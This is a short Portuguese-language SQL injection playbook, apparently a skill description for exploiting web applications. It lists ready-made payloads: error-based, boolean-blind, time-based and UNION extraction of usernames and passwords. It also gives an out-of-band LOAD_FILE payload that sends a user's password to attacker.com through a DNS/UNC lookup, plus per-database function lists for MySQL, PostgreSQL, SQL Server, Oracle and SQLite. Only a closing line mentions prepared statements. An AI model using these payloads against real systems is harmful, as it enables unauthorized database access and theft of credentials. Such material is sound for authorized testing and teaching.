O que sqli-sql-injection faz?
Manual de injeção SQL. Use quando a entrada atinge consultas SQL, lógica de autenticação, classificação, filtragem, relatórios ou caminhos de execução cega e fora de banda específicos do banco de dados.
Visão Geral
Este playbook ajuda a identificar e explorar vulnerabilidades de injeção SQL em aplicações web. Ele cobre desde técnicas básicas de extração de dados até métodos avançados de exploração cega e fora de banda.
Técnicas Suportadas
Injeção Baseada em Erro
- Use funções como
CONVERTno SQL Server ouEXTRACTVALUEno MySQL para gerar erros visíveis. - Exemplo:
' OR 1=CONVERT(int, (SELECT @@version)) --
Injeção Booleana (Cega)
- Modifique consultas para retornar respostas
TrueouFalsecom base em condições. - Exemplo:
' OR (SELECT SUBSTRING(name,1,1) FROM users WHERE id=1)='a' --
Injeção Baseada em Tempo
- Use funções como
SLEEP(5)ouWAITFOR DELAY '0:0:5'para inferir resultados. - Exemplo:
' OR IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) --
Exploração Fora de Banda (OOB)
- Utilize canais secundários como DNS ou HTTP para exfiltrar dados.
- Exemplo:
' OR (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\\\test'))) --
Banco de Dados Suportados
- MySQL: Payloads com
SLEEP(),EXTRACTVALUE(),LOAD_FILE(). - PostgreSQL: Funções como
PG_SLEEP(),CAST(),COPY. - SQL Server:
WAITFOR DELAY,CONVERT,OPENROWSET. - Oracle:
DBMS_LOCK.SLEEP(),UTL_INADDR.GET_HOST_ADDRESS(). - SQLite:
randomblob(),length().
Exemplos de Uso
Extração Básica
' UNION SELECT 1,2,3 --
' UNION SELECT username, password FROM users --
Identificação de Colunas
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
Boas Práticas
- Sempre valide a saída em um ambiente controlado antes de testar em produção.
- Use parâmetros preparados (prepared statements) para mitigar vulnerabilidades.
- Consulte a documentação específica do banco de dados para funções especiais.